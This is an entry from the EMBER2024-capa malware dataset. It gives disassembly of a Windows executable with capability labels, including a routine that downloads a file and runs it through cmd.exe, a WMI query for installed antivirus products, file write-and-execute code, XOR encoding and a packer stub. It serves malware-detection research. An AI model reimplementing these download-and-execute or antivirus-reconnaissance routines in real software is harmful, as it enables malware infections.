joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401590
Capabilities:
Create directory
Create process on windows
Create process suspended
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
mov eax, dword [0x455170]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 0x10]
push 0x2000
push 0x40
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xbc], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push dword [0x457920]
mov esi, eax
push esi
mov dword [ebp - 0xb4], esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x45165c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push edi
mov edi, dword [ebp - 0xb4]
push edi
call esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x45165c
push edi
call esi
push ebx
push edi
call esi
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp - 0xb0]
call fcn.0040b300
add esp, 0xc
mov ebx, eax
push dword [ebp - 0xb8]
push ebx
call fcn.0040b560
lea eax, [ebp - 0x54]
push eax
call fcn.00409dd0
mov esi, dword [ebp - 0xbc]
lea eax, [ebp - 0x54]
add esp, 0xc
push eax
push 0
push esi
push ebx
call fcn.00408950
mov edi, dword [ebp - 0x3c]
add esp, 0x10
lea eax, [edi + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 9
push esi
push ebx
mov dword [ebp - 0xb0], eax
call fcn.00409ec0
add esp, 0xc
mov esi, eax
push 0
push edi
push dword [ebp - 0xb0]
push esi
call fcn.00409e30
push esi
call fcn.00409ce0
add esp, 0x14
push ebx
call fcn.00409470
add esp, 4
push 0
push 0x80
push 2
push 0
push 1
push 0x10000000
push dword [ebp - 0xb4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, dword [ebp - 0xb0]
mov esi, eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call esi
push 0x40
lea eax, [ebp - 0x98]
mov dword [ebp - 0x9c], 0x44
push 0
push eax
call fcn.0041fcf0
mov ebx, dword [ebp - 0xb4]
lea eax, [ebp - 0xac]
add esp, 0xc
push eax
lea eax, [ebp - 0x9c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0xac]
call edi
push dword [ebp - 0xa8]
call edi
push ebx
call esi
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041dea9
mov esp, ebp
pop ebp
ret
Function at 0x401750
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x455170]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 0x44ae4c
push 1
push 0
push 0x44ae5c
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0x451660
mov dword [ebp - 0xc], 0
call edi
mov ecx, dword [ebp - 0x14]
lea esi, [ebp - 0xc]
push esi
push 0
push 0
mov edx, dword [ecx]
push 0
push 0
push 0
push 0
push eax
push ecx
call dword [edx + 0xc]
test eax, eax
js 0x4018b0
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [ebp - 0xc]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
push 0x45168c
call edi
push str.SELECT__FROM_AntiVirusProduct
mov esi, eax
call edi
mov ecx, dword [ebp - 0xc]
lea edi, [ebp - 0x10]
push edi
push 0
push 0x20
push eax
mov dword [ebp - 0x10], 0
mov edx, dword [ecx]
push esi
push ecx
call dword [edx + 0x50]
test eax, eax
js 0x40189e
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], 0
mov dword [ebp - 8], 0
test ecx, ecx
je 0x40189e
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, 0x457930
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ecx]
lea edx, [ebp - 8]
push edx
lea edx, [ebp - 0x18]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 8], 0
je 0x40189e
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
push 0
push 0
push edx
mov ecx, dword [eax]
push 0
push str.displayName
push eax
call dword [ecx + 0x10]
push 0x1000
push 0
push esi
call fcn.0041fcf0
add esp, 0xc
push dword [ebp - 0x20]
push esi
call edi
lea eax, [ebp - 0x28]
push eax
call ebx
mov ecx, dword [ebp - 0x10]
add esi, 0x1000
test ecx, ecx
jne 0x401845
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041dea9
mov esp, ebp
pop ebp
ret
Function at 0x404e70
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2010
call fcn.0041e4f0
mov eax, dword [0x455170]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x2008]
push eax
push 0
push 0
push 0x4462f0
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
push 0x2000
lea eax, [ebp - 0x2004]
push 0
push eax
call fcn.0041fcf0
add esp, 0xc
lea eax, [ebp - 0x2004]
push dword [ebp - 0x2008]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x2004]
push 0x45165c
push eax
call esi
push str.qH636Ei.exe
lea eax, [ebp - 0x2004]
push eax
call esi
mov esi, dword [0x45bd48]
push 0
add esi, 0x3ec
push 0
push esi
mov dword [ebp - 0x200c], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push eax
push esi
push 0
push 0xfde9
call edi
mov esi, eax
lea ecx, [esi*2 + 2]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
mov esi, dword [ebp - 0x200c]
push eax
push esi
mov dword [ebp - 0x2010], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0
push 0xfde9
call edi
mov edi, dword [ebp - 0x2010]
lea eax, [ebp - 0x2004]
push 0
push 0
push eax
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x404fce
lea eax, [ebp - 0x2004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x40]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [ebp - 0x2004]
push eax
push str._k___s_
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 6
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push esi
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [0x45bd38], 1
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0041dea9
mov esp, ebp
pop ebp
ret
Function at 0x40d150
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor edx, edx
push edi
xor edi, edi
bts edi, eax
cmp eax, 0x20
cmovae edx, edi
xor edi, edx
cmp eax, 0x40
mov eax, dword [esp + 0xc]
cmovae edx, edi
test eax, eax
js 0x40d19c
push ebx
push esi
lea ebx, [esp + 0x14]
xor ecx, ecx
lea ebx, [ebx + 4]
bts ecx, eax
xor esi, esi
cmp eax, 0x20
cmovae esi, ecx
xor ecx, esi
cmp eax, 0x40
mov eax, dword [ebx]
cmovae esi, ecx
or edi, ecx
or edx, esi
test eax, eax
jns 0x40d178
pop esi
pop ebx
mov eax, edi
pop edi
ret
Function at 0x411c50
Capabilities:
Hash data using djb2

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
mov ecx, 0x1505
test edi, edi
jne 0x411c66
pop edi
xor eax, eax
pop esi
ret
push ebx
mov bl, byte [edi]
test bl, bl
je 0x411c90
nop dword [eax]
mov eax, ecx
lea edi, [edi + 1]
mov edx, esi
shld esi, ecx, 5
shl ecx, 5
add ecx, eax
movzx eax, bl
mov bl, byte [edi]
adc esi, edx
cdq
add ecx, eax
adc esi, edx
test bl, bl
jne 0x411c70
pop ebx
pop edi
mov eax, ecx
pop esi
ret

Function at 0x415190
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x24]
xorps xmm0, xmm0
movlpd qword [esp + 8], xmm0
push esi
mov esi, dword [esp + 0x18]
test ebp, ebp
jb 0x4152db
push ebx
mov ebx, dword [esp + 0x28]
ja 0x4151bd
test ebx, ebx
je 0x4152da
mov edx, dword [esp + 0x20]
push edi
test edx, edx
je 0x415268
mov eax, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov dword [esp + 0x2c], eax
movzx eax, word [esi + 8]
or eax, 2
mov ecx, eax
xor ecx, 1
imul ecx, eax
mov eax, dword [esp + 0x28]
push 1
shr ecx, 8
xor cl, byte [edi + eax]
lea eax, [esp + 0x14]
push eax
mov byte [edi + edx], cl
mov eax, dword [esi]
not eax
mov byte [esp + 0x18], cl
push eax
call fcn.00416e80
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00416e80
mov edx, dword [esp + 0x3c]
not eax
add esp, 0x18
mov dword [esi + 8], eax
mov eax, dword [esp + 0x2c]
add edi, 1
adc eax, 0
mov dword [esp + 0x2c], eax
cmp eax, ebp
jb 0x4151d6
ja 0x4152d9
cmp edi, ebx
jb 0x4151d6
pop edi
pop ebx
pop esi
pop ebp
add esp, 0xc
ret
movlpd qword [esp + 0x14], xmm0
mov ebp, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x28]
push 1
mov al, byte [edi + eax]
mov byte [esp + 0x14], al
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.00416e80
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00416e80
add esp, 0x18
not eax
add edi, 1
mov dword [esi + 8], eax
adc ebp, 0
cmp ebp, dword [esp + 0x30]
jb 0x415276
ja 0x4152d9
cmp edi, ebx
jb 0x415276
pop edi
pop ebx
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x4152f0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
sub esp, 0x10
cmp dword [esp + 0x24], 0
xorps xmm0, xmm0
push esi
mov esi, dword [esp + 0x18]
movlpd qword [esp + 8], xmm0
jb 0x41545c
push ebp
mov ebp, dword [esp + 0x28]
ja 0x41531b
test ebp, ebp
je 0x41545b
cmp dword [esp + 0x20], 0
push ebx
push edi
je 0x4153e8
mov eax, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x14], eax
nop dword [eax + eax]
mov ecx, dword [esp + 0x2c]
push 1
mov bl, byte [eax + ecx]
mov ax, word [esi + 8]
or ax, 2
mov byte [esp + 0x14], bl
movzx edi, ax
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.00416e80
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00416e80
mov edx, dword [esp + 0x40]
not eax
mov dword [esi + 8], eax
add esp, 0x18
mov eax, edi
mov ecx, edi
xor ecx, 1
imul ecx, eax
mov eax, dword [esp + 0x14]
shr ecx, 8
xor cl, bl
mov byte [eax + edx], cl
add eax, 1
mov ecx, dword [esp + 0x1c]
adc ecx, 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], ecx
cmp ecx, dword [esp + 0x34]
jb 0x415340
ja 0x415459
cmp eax, ebp
jb 0x415340
pop edi
pop ebx
pop ebp
pop esi
add esp, 0x10
ret
movlpd qword [esp + 0x14], xmm0
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
push 1
mov al, byte [edi + eax]
mov byte [esp + 0x14], al
lea eax, [esp + 0x14]
push eax
mov eax, dword [esi]
not eax
push eax
call fcn.00416e80
not eax
mov dword [esi], eax
movzx eax, al
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
push 1
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
mov byte [esp + 0x20], al
lea eax, [esp + 0x20]
push eax
mov eax, dword [esi + 8]
not eax
push eax
call fcn.00416e80
add esp, 0x18
not eax
add edi, 1
mov dword [esi + 8], eax
adc ebx, 0
cmp ebx, dword [esp + 0x34]
jb 0x4153f6
ja 0x415459
cmp edi, ebp
jb 0x4153f6
pop edi
pop ebx
pop ebp
pop esi
add esp, 0x10
ret

Function at 0x415620
Capabilities:
Hash data via bcrypt

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x41564f
cmp dword [esp + 0x10], 0
ja 0x41564f
mov ecx, dword [esp + 0xc]
jb 0x41563a
cmp ecx, 0xffffffff
ja 0x41564f
push 0
push ecx
push dword [esp + 0x10]
push dword [eax + 4]
call sub.bcrypt.dll_BCryptHashData
shr eax, 0x1f
xor al, 1
ret
xor al, al
ret

Function at 0x4158d0
Capabilities:
Generate random numbers via winapi

Disassembly:
movzx eax, word [esp + 8]
push 2
push eax
push dword [esp + 0xc]
push 0
call sub.bcrypt.dll_BCryptGenRandom
shr eax, 0x1f
xor al, 1
ret
Function at 0x418d90
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x418f15
cmp dword [esi + 0x20], 0
je 0x418f15
cmp dword [esi + 0x24], 0
je 0x418f15
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x418f15
cmp dword [eax], esi
jne 0x418f15
mov eax, dword [eax + 4]
cmp eax, 0x2a
je 0x418df5
cmp eax, 0x39
je 0x418df5
cmp eax, 0x45
je 0x418df5
cmp eax, 0x49
je 0x418df5
cmp eax, 0x5b
je 0x418df5
cmp eax, 0x67
je 0x418df5
cmp eax, 0x71
je 0x418df5
cmp eax, 0x29a
jne 0x418f15
push edi
mov edi, dword [esi + 0x1c]
mov dword [esi + 0x14], 0
mov dword [esi + 8], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x2c], 2
mov ecx, dword [edi + 0x18]
mov eax, dword [edi + 8]
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], eax
test ecx, ecx
jns 0x418e2e
neg ecx
mov dword [edi + 0x18], ecx
cmp ecx, 2
mov eax, 0x2a
push 0
mov edx, 0x39
cmove eax, edx
push 0
mov dword [edi + 4], eax
push 0
jne 0x418e50
call fcn.00416e80
jmp 0x418e55
call fcn.0041b480
add esp, 0xc
mov dword [esi + 0x30], eax
mov dword [edi + 0x28], 0xfffffffe
push edi
call fcn.0041bc50
mov esi, dword [esi + 0x1c]
xor edx, edx
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x4c]
add eax, eax
mov dword [esi + 0x3c], eax
mov eax, dword [esi + 0x44]
mov word [eax + ecx*2 - 2], dx
mov eax, dword [esi + 0x4c]
lea eax, [eax*2 - 2]
push eax
push edx
push dword [esi + 0x44]
call fcn.0041fcf0
mov eax, dword [esi + 0x84]
add esp, 0x10
lea ecx, [eax + eax*2]
movzx eax, word [ecx*4 + 0x4496ea]
mov dword [esi + 0x80], eax
movzx eax, word [ecx*4 + 0x4496e8]
mov dword [esi + 0x8c], eax
movzx eax, word [ecx*4 + 0x4496ec]
mov dword [esi + 0x90], eax
xor eax, eax
movzx ecx, word [ecx*4 + 0x4496ee]
pop edi
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x6c], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x74], 0
mov dword [esi + 0x16b4], 0
mov dword [esi + 0x78], 2
mov dword [esi + 0x60], 2
mov dword [esi + 0x68], 0
mov dword [esi + 0x48], 0
pop esi
ret
mov eax, 0xfffffffe
pop esi
ret
Function at 0x41ec7e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41ecbd
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41ecbd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41ecbd
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41ecbd
cmp dword [ecx + 0x74], 0xe
jbe 0x41ecbd
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x42f0cf
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44de30
push 0x44de28
push str.FlsAlloc
push 0x1f
call fcn.0042ef8e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42f103
push dword [ebp + 8]
mov ecx, esi
call dword [0x44627c]
call esi
jmp 0x42f109
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x42f14d
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44de40
push 0x44de38
push str.FlsGetValue
push 0x21
call fcn.0042ef8e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42f184
push dword [ebp + 8]
mov ecx, esi
call dword [0x44627c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x42f18c
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44de48
push 0x44de40
push str.FlsSetValue
push 0x22
call fcn.0042ef8e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42f1c6
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x44627c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x431eb4
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x455170]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x431eff
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0043204f
test al, al
jne 0x431ef9
sub edx, 2
cmp edx, edi
jne 0x431edf
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x431f21
lea eax, [edi + 2]
cmp edx, eax
je 0x431f21
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00431e00
add esp, 0x10
jmp 0x43201b
push esi
lea ecx, [ebp - 0x255]
call fcn.0043204f
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x431f64
push dword [ebp - 0x25c]
jmp 0x431f11
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x431fa1
cmp word [ebp - 0x226], 0
je 0x431fc2
cmp word [ebp - 0x226], ax
jne 0x431fa1
cmp word [ebp - 0x224], 0
je 0x431fc2
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00431e00
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x43200e
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x431f7b
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x431ff6
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x43201b
push 0x431c30
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00436dc0
add esp, 0x10
jmp 0x431feb
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041dea9
leave
ret

Function at 0x432aef
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x432b00
pop esi
ret
push ebx
push edi
push esi
call fcn.00432ab8
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0042f32b
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x432b28
push ebx
push esi
push edi
call fcn.0041f580
add esp, 0xc
push 0
call fcn.0042f2f1
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x432ef8
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00432b3d
Function at 0x43a3c0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [eax + 0x38]
mov bl, byte [eax + 0x34]
test esi, esi
jle 0x43a3fd
mov edx, dword [eax + 0x260]
push edi
movzx edi, bl
nop word [eax + eax]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, edi
xor edx, dword [ecx*4 + 0x4563f8]
mov dword [eax + 0x260], edx
sub esi, 1
jne 0x43a3e0
pop edi
mov ecx, dword [eax + 0x34]
mov byte [ecx + eax + 0x58], 1
mov edx, dword [eax + 0x38]
mov ecx, edx
sub ecx, 1
je 0x43a4ac
sub ecx, 1
je 0x43a490
sub ecx, 1
je 0x43a468
mov byte [edx + eax + 0x54], 1
mov edx, dword [eax + 0x24]
mov ecx, dword [eax + 0x44]
mov byte [edx + ecx], bl
mov edx, dword [eax + 0x44]
inc edx
mov dword [eax + 0x44], edx
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov esi, dword [eax + 0x44]
mov dl, byte [eax + 0x38]
mov ecx, dword [eax + 0x24]
sub dl, 4
mov byte [esi + ecx], dl
inc dword [eax + 0x44]
pop esi
pop ebx
ret
mov ecx, dword [eax + 0x44]
mov edx, dword [eax + 0x24]
pop esi
mov byte [edx + ecx], bl
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
inc edx
mov dword [eax + 0x44], edx
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
pop ebx
ret
mov ecx, dword [eax + 0x44]
mov edx, dword [eax + 0x24]
pop esi
mov byte [edx + ecx], bl
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
inc edx
mov dword [eax + 0x44], edx
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
pop ebx
ret
mov ecx, dword [eax + 0x44]
mov edx, dword [eax + 0x24]
pop esi
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
pop ebx
ret
Function at 0x444360
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44438d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44438d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4659a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x457015
lea edi, [esi - 0x56015]
push edi
or ebp, 0xffffffff
jmp 0x4659c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4659c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4659b8
mov eax, 1
add ebx, ebx
jne 0x4659db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4659d0
jne 0x4659ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4659d0
xor ecx, ecx
sub eax, 3
jb 0x465a00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x465a72
mov ebp, eax
add ebx, ebx
jne 0x465a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x465a18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x465a3c
inc ecx
add ebx, ebx
jne 0x465a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x465a1d
jne 0x465a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x465a1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x465a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x465a4d
jmp 0x4659be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x465a5c
add edi, ecx
jmp 0x4659be
pop esi
mov edi, esi
mov ecx, 0x33e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x465a7a
cmp byte [edi], 0
jne 0x465a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x465a7f
lea edi, [esi + 0x63000]
mov eax, dword [edi]
or eax, eax
je 0x465aee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x651f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x65254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x465aac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x65258]
or eax, eax
je 0x465ae8
mov dword [ebx], eax
add ebx, 4
jmp 0x465ac9
call dword [esi + 0x6525c]
popal
jmp 0x40da18